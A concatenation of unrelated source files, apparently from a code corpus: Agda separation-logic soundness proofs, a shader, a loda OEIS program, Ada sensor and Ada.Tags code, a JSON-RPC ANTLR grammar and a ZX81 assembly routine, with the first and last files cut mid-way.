(h [ X ::=ₕ n ]) Y with Y ≟ X
... | yes _ = just n
... | no _ = h Y
_/[_] : heap → addr → heap
(h /[ X ]) Y with Y ≟ X
... | yes _ = nothing
... | no _ = h Y
data com : Set where
SKIP : com
_::=_ : String → aexp → com
_::_ : com → com → com
IF_THEN_ELSE_ : bexp → com → com → com
WHILE_DO_ : bexp → com → com
_::=cons_ : String → addr → com
_::=[_] : String → aexp → com
[_]::=_ : aexp → aexp → com
dispose_ : aexp → com
data ⊢[_]_[_] {l} : assn {l} → com → assn {l} → Set (suc l) where
Skip : ∀{P}
→ ⊢[ P ] SKIP [ P ]
Loc : ∀{Q a x}
→ ⊢[ (λ s → Q (s [ x ::= aval a s ])) ] (x ::= a) [ Q ]
Comp : ∀{P Q R c₁ c₂}
→ ⊢[ P ] c₁ [ Q ]
→ ⊢[ Q ] c₂ [ R ]
→ ⊢[ P ] c₁ :: c₂ [ R ]
If : ∀{P b c₁ Q c₂}
→ ⊢[ (λ s h → P s h × bval b s ≡ true) ] c₁ [ Q ]
→ ⊢[ (λ s h → P s h × bval b s ≡ false) ] c₂ [ Q ]
→ ⊢[ P ] (IF b THEN c₁ ELSE c₂) [ Q ]
While : ∀{P b c}
→ ⊢[ (λ s h → P s h × bval b s ≡ true) ] c [ P ]
→ ⊢[ P ] (WHILE b DO c) [ (λ s h → P s h × bval b s ≡ false) ]
Conseq : ∀{P Q P′ Q′ : assn} {c}
→ (∀ s h → P′ s h → P s h)
→ ⊢[ P ] c [ Q ]
→ (∀ s h → Q s h → Q′ s h)
→ ⊢[ P′ ] c [ Q′ ]
Frame : ∀{A B R c}
→ ⊢[ A ] c [ B ]
→ ⊢[ A * R ] c [ B * R ]
data config : Set where
⦅_,_,_⦆ : com → store → heap → config
abort : config
data _⇒_ : config → config → Set where
Loc : ∀{x a s h}
→ ⦅ x ::= a , s , h ⦆ ⇒ ⦅ SKIP , (s [ x ::= aval a s ]) , h ⦆
Comp₁ : ∀{c s h}
→ ⦅ SKIP :: c , s , h ⦆ ⇒ ⦅ c , s , h ⦆
Comp₂ : ∀{c₁ c₁′ c₂ s s′ h h′}
→ ⦅ c₁ , s , h ⦆ ⇒ ⦅ c₁′ , s′ , h′ ⦆
→ ⦅ c₁ :: c₂ , s , h ⦆ ⇒ ⦅ c₁′ :: c₂ , s′ , h′ ⦆
CompFail : ∀{c₁ c₂ s h}
→ ⦅ c₁ , s , h ⦆ ⇒ abort
→ ⦅ c₁ :: c₂ , s , h ⦆ ⇒ abort
IfTrue : ∀{b s c₁ c₂ h}
→ bval b s ≡ true
→ ⦅ IF b THEN c₁ ELSE c₂ , s , h ⦆ ⇒ ⦅ c₁ , s , h ⦆
IfFalse : ∀{b s c₁ c₂ h}
→ bval b s ≡ false
→ ⦅ IF b THEN c₁ ELSE c₂ , s , h ⦆ ⇒ ⦅ c₂ , s , h ⦆
While : ∀{b s c h}
→ ⦅ WHILE b DO c , s , h ⦆ ⇒ ⦅ IF b THEN (c :: (WHILE b DO c)) ELSE SKIP , s , h ⦆
Cons : ∀{l h s x h′ s′}
→ l ¬dom h
→ h′ ≡ h [ l ::=ₕ 0 ]
→ s′ ≡ s [ x ::= l ]
→ ⦅ x ::=cons l , s , h ⦆ ⇒ ⦅ SKIP , s′ , h′ ⦆
Lookup : ∀{a s x h v s′}
→ (aval a s) dom h
→ s′ ≡ s [ x ::= v ]
→ ⦅ x ::=[ a ] , s , h ⦆ ⇒ ⦅ SKIP , s′ , h ⦆
LookupFail : ∀{a s x h}
→ (aval a s) ¬dom h
→ ⦅ x ::=[ a ] , s , h ⦆ ⇒ abort
Write : ∀{a s a′ h}
→ (aval a s) dom h
→ ⦅ [ a ]::= a′ , s , h ⦆ ⇒ ⦅ SKIP , s , h [ aval a s ::=ₕ aval a′ s ] ⦆
WriteFail : ∀{a s a′ x h}
→ (aval a s) ¬dom h
→ ⦅ [ x ]::= a′ , s , h ⦆ ⇒ abort
Dispose : ∀{a s h}
→ (aval a s) dom h
→ ⦅ dispose a , s , h ⦆ ⇒ ⦅ SKIP , s , h /[ aval a s ] ⦆
DisposeFail : ∀{a s h}
→ (aval a s) ¬dom h
→ ⦅ dispose a , s , h ⦆ ⇒ abort
data _⇒*_ : config → config → Set where
_∎ : ∀ c → c ⇒* c
_→⟨_⟩_ : ∀ c {c′ c″}
→ c ⇒ c′
→ c′ ⇒* c″
→ c ⇒* c″
Safe : config → Set
Safe c = ¬ (c ⇒* abort)
lemma1 : ∀{c s h₀ h}
→ h₀ ⊆ h
→ ⦅ c , s , h ⦆ ⇒ abort
→ ⦅ c , s , h₀ ⦆ ⇒ abort
lemma1 sub (CompFail r) = CompFail (lemma1 sub r)
lemma1 sub (LookupFail {a}{s} r) = LookupFail (fst (sub (aval a s)) r)
lemma1 sub (WriteFail {a}{s} r) = WriteFail {a} (fst (sub (aval a s)) r)
lemma1 sub (DisposeFail {a}{s} r) = DisposeFail (fst (sub (aval a s)) r)
subset-update : ∀ l {h h₀ v}
→ h₀ ⊆ h
→ (h₀ [ l ::=ₕ v ]) ⊆ (h [ l ::=ₕ v ])
subset-update l b Y with Y ≟ l
... | yes p = (λ x → x) ,, λ {o} _ → refl
... | no ¬p = b Y
subset-delete : ∀ v {h h₀}
→ h₀ ⊆ h
→ (h₀ /[ v ]) ⊆ (h /[ v ])
subset-delete l b Y with Y ≟ l
... | yes p = (λ x → refl) ,, (λ {x} x₁ → refl)
... | no ¬p = b Y
lemma2 : ∀ h₀ {h c c′ s s′ h′}
→ h₀ ⊆ h
→ ⦅ c , s , h ⦆ ⇒ ⦅ c′ , s′ , h′ ⦆
→ ⦅ c , s , h₀ ⦆ ⇒ abort
⊎ (∃[ h′₀ ] (h′₀ ⊆ h′
× ⦅ c , s , h₀ ⦆ ⇒ ⦅ c′ , s′ , h′₀ ⦆))
lemma2 h₀ x Loc = inj₂ (h₀ ,, x ,, Loc)
lemma2 h₀ x Comp₁ = inj₂ (h₀ ,, x ,, Comp₁)
lemma2 h₀ x (Comp₂ x₁) with lemma2 h₀ x x₁
lemma2 h₀ x (Comp₂ x₁) | inj₁ x₂ = inj₁ (CompFail x₂)
lemma2 h₀ x (Comp₂ x₁) | inj₂ (h′₀ ,, sub ,, red) = inj₂ (h′₀ ,, sub ,, Comp₂ red)
lemma2 h₀ x (IfTrue x₁) = inj₂ (h₀ ,, x ,, IfTrue x₁)
lemma2 h₀ x (IfFalse x₁) = inj₂ (h₀ ,, x ,, IfFalse x₁)
lemma2 h₀ x While = inj₂ (h₀ ,, x ,, While)
lemma2 h₀ x (Cons {l} x₁ A B) rewrite A | B = inj₂ ( (h₀ [ l ::=ₕ 0 ])
,, subset-update l x
,, Cons (fst (x l) x₁) refl refl)
lemma2 h₀ x (Lookup {a}{s} (_ ,, p) A) rewrite A with h₀ (aval a s) | Eq.inspect h₀ (aval a s)
... | nothing | Eq.[ eq ] = inj₁ (LookupFail eq)
... | just o | Eq.[ eq ] = inj₂ ( h₀
,, x
,, Lookup (-, Eq.trans (snd (x (aval a s)) eq) p) refl)
lemma2 h₀ x (Write {a}{s}{a′} (_ ,, x₁)) with h₀ (aval a s) | Eq.inspect h₀ (aval a s)
... | nothing | Eq.[ eq ] = inj₁ (WriteFail {a} eq)
... | just o | Eq.[ eq ] = inj₂ ( (h₀ [ aval a s ::=ₕ aval a′ s ])
,, subset-update (aval a s) x
,, Write (-, (Eq.trans (snd (x (aval a s)) eq) x₁)))
lemma2 h₀ x (Dispose {a}{s} (_ ,, x₁)) with h₀ (aval a s) | Eq.inspect h₀ (aval a s)
... | nothing | Eq.[ eq ] = inj₁ (DisposeFail eq)
... | just o | Eq.[ eq ] = inj₂ ( (h₀ /[ aval a s ])
,, subset-delete (aval a s) x
,, Dispose (-, (Eq.trans (snd (x (aval a s)) eq) x₁)))
frame1sub : ∀{c s h H}
→ h ⊆ H
→ Safe ⦅ c , s , h ⦆
→ Safe ⦅ c , s , H ⦆
frame1sub {c}{s}{h}{H} x x₁ (_→⟨_⟩_ .(⦅ c , s , H ⦆) {⦅ x₄ , x₅ , x₆ ⦆} x₂ x₃) with lemma2 h x x₂
... | inj₁ x₇ = x₁ (⦅ c , s , h ⦆ →⟨ x₇ ⟩ (abort ∎))
... | inj₂ (_ ,, fst₂ ,, snd₁) = frame1sub fst₂ (λ z → x₁ (_ →⟨ snd₁ ⟩ z)) x₃
frame1sub {c}{s}{h}{H} x x₁ (_→⟨_⟩_ .(⦅ c , s , H ⦆) {abort} x₂ x₃) = x₁ (_ →⟨ lemma1 x x₂ ⟩ (abort ∎))
frame1 : ∀{c s h H z}
→ H ∼ h ⊥ z
→ Safe ⦅ c , s , h ⦆
→ Safe ⦅ c , s , H ⦆
frame1 {H = H} x x₁ x₂ = frame1sub (union-subset H x) x₁ x₂
heap-union-update : ∀{l h h₀ h₁ v}
→ l ¬dom h₁
→ h ∼ h₀ ⊥ h₁
→ (h [ l ::=ₕ v ]) ∼ (h₀ [ l ::=ₕ v ]) ⊥ h₁
heap-union-update {l}{h}{v = v} d x a with (h [ l ::=ₕ v ]) a | Eq.inspect (h [ l ::=ₕ v ]) a
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] with a ≟ l | h a | Eq.inspect h a | x a
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] | yes p | just x₂ | Eq.[ eq2 ] | inj₁ x₃ = inj₁ (eq ,, snd x₃)
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] | yes p | just x₂ | Eq.[ eq2 ] | inj₂ y rewrite p = inj₁ (eq ,, d)
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] | yes p | nothing | Eq.[ eq2 ] | C = inj₁ (eq ,, snd C)
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] | no ¬p | just x₂ | Eq.[ eq2 ] | inj₁ x₃ rewrite (Eq.trans (sym eq) eq2) = inj₁ x₃
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] | no ¬p | just x₂ | Eq.[ eq2 ] | inj₂ y rewrite (Eq.trans (sym eq) eq2) = inj₂ y
heap-union-update {l}{h} d x a | just x₁ | Eq.[ eq ] | no ¬p | nothing | Eq.[ eq2 ] | C rewrite (Eq.trans (sym eq) eq2) = inj₁ C
heap-union-update {l}{h} d x a | nothing | Eq.[ eq ] with a ≟ l | h a | Eq.inspect h a | x a
heap-union-update {l}{h} d x a | nothing | Eq.[ eq ] | no ¬p | just x₁ | Eq.[ eq2 ] | inj₁ x₂ = Eq.trans (Eq.trans (fst x₂) (sym eq2)) eq ,, snd x₂
heap-union-update {l}{h} d x a | nothing | Eq.[ eq ] | no ¬p | just x₁ | Eq.[ eq2 ] | inj₂ y = fst y ,, Eq.trans (snd y) (Eq.trans (sym eq2) eq)
heap-union-update {l}{h} d x a | nothing | Eq.[ eq ] | no ¬p | nothing | Eq.[ eq2 ] | E = E
heap-union-delete : ∀{h h₀ h₁ v}
→ v ¬dom h₁
→ h ∼ h₀ ⊥ h₁
→ (h /[ v ]) ∼ (h₀ /[ v ]) ⊥ h₁
heap-union-delete {h}{h₀}{h₁}{v} d x a with (h /[ v ]) a | Eq.inspect (h /[ v ]) a
heap-union-delete {h} {h₀} {h₁} {v} d x a | just x₁ | Eq.[ eq ] with a ≟ v | h a | Eq.inspect h a | x a
heap-union-delete {h} {h₀} {h₁} {v} d x a | just x₁ | Eq.[ () ] | yes p | just x₂ | Eq.[ eq2 ] | R
heap-union-delete {h} {h₀} {h₁} {v} d x a | just x₁ | Eq.[ eq ] | no ¬p | just x₂ | Eq.[ eq2 ] | inj₁ x₃ rewrite (Eq.trans (sym eq) eq2) = inj₁ x₃
heap-union-delete {h} {h₀} {h₁} {v} d x a | just x₁ | Eq.[ eq ] | no ¬p | just x₂ | Eq.[ eq2 ] | inj₂ y rewrite (Eq.trans (sym eq) eq2) = inj₂ y
heap-union-delete {h} {h₀} {h₁} {v} d x a | just x₁ | Eq.[ eq ] | no ¬p | nothing | Eq.[ eq2 ] | fst₁ ,, snd₁ = inj₂ (fst₁ ,, Eq.trans snd₁ (Eq.trans (sym eq2) eq))
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] with a ≟ v | h a | Eq.inspect h a | x a
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] | yes p | just x₁ | Eq.[ eq2 ] | inj₁ x₂ = refl ,, snd x₂
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] | yes p | just x₁ | Eq.[ eq2 ] | inj₂ y rewrite p = refl ,, d
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] | yes p | nothing | Eq.[ eq2 ] | E = refl ,, snd E
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] | no ¬p | just x₁ | Eq.[ eq2 ] | inj₁ x₂ = Eq.trans (fst x₂) (Eq.trans (sym eq2) eq) ,, snd x₂
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] | no ¬p | just x₁ | Eq.[ eq2 ] | inj₂ y = fst y ,, Eq.trans (snd y) (Eq.trans (sym eq2) eq)
heap-union-delete {h} {h₀} {h₁} {v} d x a | nothing | Eq.[ eq ] | no ¬p | nothing | Eq.[ eq2 ] | E = E
union-exclusionᵣ : ∀{l h h₀ h₁}
→ h ∼ h₀ ⊥ h₁
→ l ¬dom h
→ l ¬dom h₁
union-exclusionᵣ {l}{h} A B with h l | A l
... | nothing | fst₁ ,, snd₁ = snd₁
union-presenceᵣ : ∀{l h h₀ h₁}
→ h ∼ h₀ ⊥ h₁
→ l dom h
→ l dom h₀
→ l ¬dom h₁
union-presenceᵣ {l}{h} A B C with h l | A l
union-presenceᵣ {l} {h} A B C | just x | inj₁ (fst₁ ,, snd₁) = snd₁
union-presenceᵣ {l} {h} A B (fst₁ ,, snd₁) | just x | inj₂ (fst₂ ,, snd₂) with Eq.trans (sym fst₂) snd₁
... | ()
union-reduction : ∀{a b c s h′ h h₀ h′₀ h₁}
→ ⦅ c , s , h₀ ⦆ ⇒ ⦅ a , b , h′₀ ⦆
→ ⦅ c , s , h ⦆ ⇒ ⦅ a , b , h′ ⦆
→ h ∼ h₀ ⊥ h₁
→ h′ ∼ h′₀ ⊥ h₁
union-reduction Loc Loc C = C
union-reduction Comp₁ Comp₁ C = C
union-reduction (Comp₂ A) (Comp₂ B) C = union-reduction A B C
union-reduction (IfTrue x) (IfTrue x₁) C = C
union-reduction (IfTrue x) (IfFalse x₁) C = C
union-reduction (IfFalse x) (IfTrue x₁) C = C
union-reduction (IfFalse x) (IfFalse x₁) C = C
union-reduction While While C = C
union-reduction (Cons d A B) (Cons d2 A′ B′) C a rewrite A | B | A′ | B′ = heap-union-update (union-exclusionᵣ C d2) C a
union-reduction (Lookup e A) (Lookup e2 A′) C rewrite A | A′ = C
union-reduction (Write x) (Write x₁) C a = heap-union-update (union-presenceᵣ C x₁ x) C a
union-reduction (Dispose x) (Dispose x₁) C a = heap-union-delete (union-presenceᵣ C x₁ x) C a
frame2 : ∀{c s h h₀ h₁ h′ s′}
→ Safe ⦅ c , s , h₀ ⦆
→ h ∼ h₀ ⊥ h₁
→ ⦅ c , s , h ⦆ ⇒* ⦅ SKIP , s′ , h′ ⦆
→ ∃[ h′₀ ] ( ⦅ c , s , h₀ ⦆ ⇒* ⦅ SKIP , s′ , h′₀ ⦆
× h′ ∼ h′₀ ⊥ h₁ )
frame2 s t (.(⦅ SKIP , _ , _ ⦆) ∎) = _ ,, (_ ∎) ,, t
frame2 {h₀ = h₀} s t (_→⟨_⟩_ .(⦅ _ , _ , _ ⦆) {⦅ _ , _ , _ ⦆} x r) with lemma2 h₀ (union-subset _ t) x
... | inj₁ x₄ = ⊥-elim (s (_ →⟨ x₄ ⟩ (abort ∎)))
... | inj₂ (fst₁ ,, fst₂ ,, snd₁) with frame2 (λ z → s (_ →⟨ snd₁ ⟩ z)) (union-reduction snd₁ x t) r
... | fst₃ ,, fst₄ ,, snd₂ = fst₃ ,, (_ →⟨ snd₁ ⟩ fst₄) ,, snd₂
frame2 s t (_→⟨_⟩_ .(⦅ _ , _ , _ ⦆) {abort} x (.abort →⟨ () ⟩ r))
⊨[_]_[_] : assn → com → assn → Set
⊨[ A ] c [ B ] = ∀{s h}
→ A s h
→ Safe ⦅ c , s , h ⦆
× (∀{s′ h′} → ⦅ c , s , h ⦆ ⇒* ⦅ SKIP , s′ , h′ ⦆ → B s′ h′)
NotInfluenced : assn → com → Set
NotInfluenced R c = ∀{s s′ z h₀ h′₀ hᵣ}
→ z ∼ h′₀ ⊥ hᵣ
→ ⦅ c , s , h₀ ⦆ ⇒* ⦅ SKIP , s′ , h′₀ ⦆
→ R s hᵣ → R s′ hᵣ
frame-soundness : ∀{A B R : assn} {c}
→ NotInfluenced R c
→ ⊨[ A ] c [ B ]
→ ⊨[ A * R ] c [ B * R ]
frame-soundness {A}{B}{R}{c} Inf H {s}{h} (h₀ ,, h₁ ,, ⊥ ,, A₀ ,, R₁) with H A₀
... | safe ,, conv = frame1 ⊥ safe ,, frame2-ex
where frame2-ex : ∀{s′ h′}
→ ⦅ c , s , h ⦆ ⇒* ⦅ SKIP , s′ , h′ ⦆
→ ∃[ h₁ ] ∃[ h₂ ] ( (h′ ∼ h₁ ⊥ h₂)
× B s′ h₁
× R s′ h₂)
frame2-ex rs with frame2 safe ⊥ rs
... | h′₀ ,, r ,, ⊥′ = h′₀ ,, h₁ ,, ⊥′ ,, conv r ,, Inf ⊥′ r R₁
|
modules/module-paint/shaders/asm/MovePigment.asm | pagienet/psykopaint2-application | 2 | 177594 | //
// Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.16384
//
///
// Parameters:
//
// Texture2D linearSampler+pigmentField;
// Texture2D linearSampler+velocityField;
//
//
// Registers:
//
// Name Reg Size
// --------------------------- ----- ----
// linearSampler+velocityField s0 1
// linearSampler+pigmentField s1 1
//
ps_3_0
def c0, -0.5, 0, -0, 1
dcl_texcoord v0.xy
dcl_texcoord1 v1.xy
dcl_texcoord2 v2.xy
dcl_texcoord3 v3.xy
dcl_texcoord4 v4.xy
dcl_2d s0
dcl_2d s1
texld r0, v1, s1
texld r1, v0, s0
add r0.yz, r1.xxyw, c0.x
add r0.yz, r0, r0
mul r1.y, r0.x, r0.y
texld r2, v3, s1
mul r1.w, r0.z, r2.x
max r2.yw, -r1, c0.z
texld r1, v2, s1
texld r3, v2, s0
add r0.x, r3.x, c0.x
add r0.x, r0.x, r0.x
mul r1.x, r1.x, r0.x
texld r3, v4, s1
texld r4, v4, s0
add r0.w, r4.y, c0.x
add r0.w, r0.w, r0.w
mul r1.z, r3.x, r0.w
max r2.xz, r1, c0.y
texld r1, v0, s1
mul r3.yw, r0.xxzw, r1.x
max r4.yw, -r3, c0.z
mul r0.xy, r0.yzzw, r1.x
max r4.xz, r0.xyyw, c0.y
add r0, r2, -r4
dp4 r0.x, r0, c0.w
add oC0.x, r0.x, r1.x
mov oC0.yzw, r1
// approximately 28 instruction slots used (8 texture, 20 arithmetic)
|
programs/oeis/039/A039936.asm | jmorken/loda | 1 | 160115 | <reponame>jmorken/loda
; A039936: Smallest k for which k, 2k, ... nk all contain the digit 5.
; 5,25,25,125,125,125,125,625,625,625,625,625,625,625,625,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,3125,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,15625,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,78125,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625,390625
add $0,1
mov $1,1
lpb $0
div $0,2
mul $1,5
lpe
|
src/adacar-seguimiento_sensor.adb | Asier98/AdaCar | 0 | 7155 | with Ada.Real_Time; use type Ada.Real_Time.Time; use Ada;
with AdaCar.Organizador_Movimiento;
with AdaCar.Sensor_Proximidad;
package body AdaCar.Seguimiento_Sensor is
----------------------
-- Seguimiento_Task --
----------------------
task body Seguimiento_Task is
Tseg: constant Duration:= Parametros.Periodo_Seguimiento_Task;
Periodo: constant Real_Time.Time_Span:= Real_Time.To_Time_Span(Tseg);
Next: Real_Time.Time:= Real_Time.Clock;
Valor_Sensor: Unidades_Distancia;
begin
loop
Valor_Sensor:= Sensor_Proximidad.Leer_Entrada_Sensor;
Organizador_Movimiento.Nueva_Distancia_Sensor(Valor_Sensor);
Next:= Next+Periodo;
delay until Next;
end loop;
end Seguimiento_Task;
end AdaCar.Seguimiento_Sensor;
|
JsonRpc.g4 | waqqas/jsonrpc | 0 | 6154 | grammar JsonRpc;
parse: json EOF;
json: msg | '[' msg (',' msg)* ']';
msg: '{' msgField (',' msgField)* '}';
msgField: version | id | method | result | error | params;
version: '"jsonrpc"' ':' STRING;
id: '"id"' ':' (STRING | NUMBER | 'null');
method: '"method"' ':' STRING;
params: '"params"' ':' (obj | arr);
error: '"error"' ':' errorObj;
result: '"result"' ':' value;
pair: STRING ':' value;
obj: '{' pair (',' pair)* '}' | '{' '}';
errorObj: '{' errorField (',' errorField)* '}';
errorField: code | message | data;
code: '"code"' ':' NUMBER;
message: '"message"' ':' STRING;
data: '"data"' ':' value;
arr: '[' value (',' value)* ']' | '[' ']';
value: STRING | NUMBER | obj | arr | 'true' | 'false' | 'null';
fragment ESC: '\\' (["\\/bfnrt] | UNICODE);
fragment UNICODE: 'u' HEX HEX HEX HEX;
fragment HEX: [0-9a-fA-F];
fragment SAFECODEPOINT: ~ ["\\\u0000-\u001F];
fragment INT: '0' | [1-9] [0-9]*;
// no leading zeros
fragment EXP: [Ee] [+\-]? INT;
// \- since - means "range" inside [...]
STRING: '"' (ESC | SAFECODEPOINT)* '"';
NUMBER: '-'? INT ('.' [0-9]+)? EXP?;
WS: [ \t\n\r]+ -> skip;
|
programs/oeis/113/A113909.asm | jmorken/loda | 1 | 1969 | ; A113909: Square table of odd numbers which are neither squares nor one less than squares, read by antidiagonals.
; 5,7,11,13,17,19,21,23,27,29,31,33,37,39,41,43,45,47,51,53,55,57,59,61,65,67,69,71,73,75,77,79,83,85,87,89,91,93,95,97,101,103,105,107,109,111,113,115,117,119,123,125,127,129,131
mov $1,$0
lpb $0
add $1,1
add $2,1
sub $0,$2
sub $0,1
lpe
mul $1,2
add $1,5
|
programs/oeis/106/A106839.asm | neoneye/loda | 22 | 9270 | <filename>programs/oeis/106/A106839.asm
; A106839: Numbers congruent to 11 mod 16.
; 11,27,43,59,75,91,107,123,139,155,171,187,203,219,235,251,267,283,299,315,331,347,363,379,395,411,427,443,459,475,491,507,523,539,555,571,587,603,619,635,651,667,683,699,715,731,747,763,779,795,811,827,843,859,875,891,907,923,939,955,971,987,1003,1019,1035,1051,1067,1083,1099,1115,1131,1147,1163,1179,1195,1211,1227,1243,1259,1275,1291,1307,1323,1339,1355,1371,1387,1403,1419,1435,1451,1467,1483,1499,1515,1531,1547,1563,1579,1595
mul $0,16
add $0,11
|
libsrc/stdio/ansi/zx81/text/f_ansi_cls.asm | jpoikela/z88dk | 640 | 164981 | ;
; ANSI Video handling for the ZX81
; By <NAME> - Apr. 2000 / Oct 2017
;
; CLS - Clear the screen
;
;
; $Id: f_ansi_cls.asm $
;
SECTION code_clib
PUBLIC ansi_cls
EXTERN filltxt
.ansi_cls
ld l,0
jp filltxt
|
archive/agda-3/src/Oscar/Class/Transleftidentity.agda | m0davis/oscar | 0 | 14238 | <filename>archive/agda-3/src/Oscar/Class/Transleftidentity.agda
open import Oscar.Prelude
open import Oscar.Class
open import Oscar.Class.Leftunit
open import Oscar.Class.Reflexivity
open import Oscar.Class.Transitivity
module Oscar.Class.Transleftidentity where
module Transleftidentity
{𝔬} {𝔒 : Ø 𝔬}
{𝔯} (_∼_ : 𝔒 → 𝔒 → Ø 𝔯)
{ℓ} (_∼̇_ : ∀ {x y} → x ∼ y → x ∼ y → Ø ℓ)
(ε : Reflexivity.type _∼_)
(transitivity : Transitivity.type _∼_)
= ℭLASS (_∼_ ,, (λ {x y} → _∼̇_ {x} {y}) ,, (λ {x} → ε {x}) ,, (λ {x y z} → transitivity {x} {y} {z}))
(∀ {x y} {f : x ∼ y} → Leftunit.type _∼̇_ ε (flip transitivity) f)
module _
{𝔬} {𝔒 : Ø 𝔬}
{𝔯} {_∼_ : 𝔒 → 𝔒 → Ø 𝔯}
{ℓ} {_∼̇_ : ∀ {x y} → x ∼ y → x ∼ y → Ø ℓ}
{ε : Reflexivity.type _∼_}
{transitivity : Transitivity.type _∼_}
where
transleftidentity = Transleftidentity.method _∼_ _∼̇_ ε transitivity
module Transleftidentity!
{𝔬} {𝔒 : Ø 𝔬}
{𝔯} (_∼_ : 𝔒 → 𝔒 → Ø 𝔯)
{ℓ} (_∼̇_ : ∀ {x y} → x ∼ y → x ∼ y → Ø ℓ)
⦃ _ : Reflexivity.class _∼_ ⦄
⦃ _ : Transitivity.class _∼_ ⦄
= Transleftidentity (_∼_) (_∼̇_) reflexivity transitivity
module _
{𝔬} {𝔒 : Ø 𝔬}
{𝔯} {_∼_ : 𝔒 → 𝔒 → Ø 𝔯}
{ℓ} {_∼̇_ : ∀ {x y} → x ∼ y → x ∼ y → Ø ℓ}
⦃ _ : Reflexivity.class _∼_ ⦄
⦃ _ : Transitivity.class _∼_ ⦄
where
transleftidentity! = Transleftidentity!.method _∼_ _∼̇_
module _ where
transleftidentity[_] : ∀
{𝔬} {𝔒 : Ø 𝔬}
{𝔯} {_∼_ : 𝔒 → 𝔒 → Ø 𝔯}
{ℓ} (_∼̇_ : ∀ {x y} → x ∼ y → x ∼ y → Ø ℓ)
⦃ _ : Reflexivity.class _∼_ ⦄
⦃ _ : Transitivity.class _∼_ ⦄
⦃ _ : Transleftidentity!.class _∼_ _∼̇_ ⦄
→ Transleftidentity!.type _∼_ _∼̇_
transleftidentity[ _ ] = transleftidentity
module _ where
open import Oscar.Data.Proposequality
module ≡̇-Transleftidentity!
{𝔬} {𝔒 : Ø 𝔬}
{𝔣} (F : 𝔒 → Ø 𝔣)
{𝔱} (T : {x : 𝔒} → F x → 𝔒 → Ø 𝔱)
(let _∼_ : ∀ x y → Ø 𝔣 ∙̂ 𝔱
_∼_ = λ x y → (f : F x) → T f y)
⦃ _ : Reflexivity.class _∼_ ⦄
⦃ _ : Transitivity.class _∼_ ⦄
= Transleftidentity (_∼_) _≡̇_
|
llvm-gcc-4.2-2.9/gcc/ada/a-tags.ads | vidkidz/crossbridge | 1 | 18518 | <gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- A D A . T A G S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2005, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with System;
with System.Storage_Elements;
with Unchecked_Conversion;
package Ada.Tags is
pragma Preelaborate_05;
-- In accordance with Ada 2005 AI-362
type Tag is private;
No_Tag : constant Tag;
function Expanded_Name (T : Tag) return String;
function External_Tag (T : Tag) return String;
function Internal_Tag (External : String) return Tag;
function Descendant_Tag
(External : String;
Ancestor : Tag) return Tag;
pragma Ada_05 (Descendant_Tag);
function Is_Descendant_At_Same_Level
(Descendant : Tag;
Ancestor : Tag) return Boolean;
pragma Ada_05 (Is_Descendant_At_Same_Level);
function Parent_Tag (T : Tag) return Tag;
pragma Ada_05 (Parent_Tag);
Tag_Error : exception;
function Wide_Expanded_Name (T : Tag) return Wide_String;
pragma Ada_05 (Wide_Expanded_Name);
function Wide_Wide_Expanded_Name (T : Tag) return Wide_Wide_String;
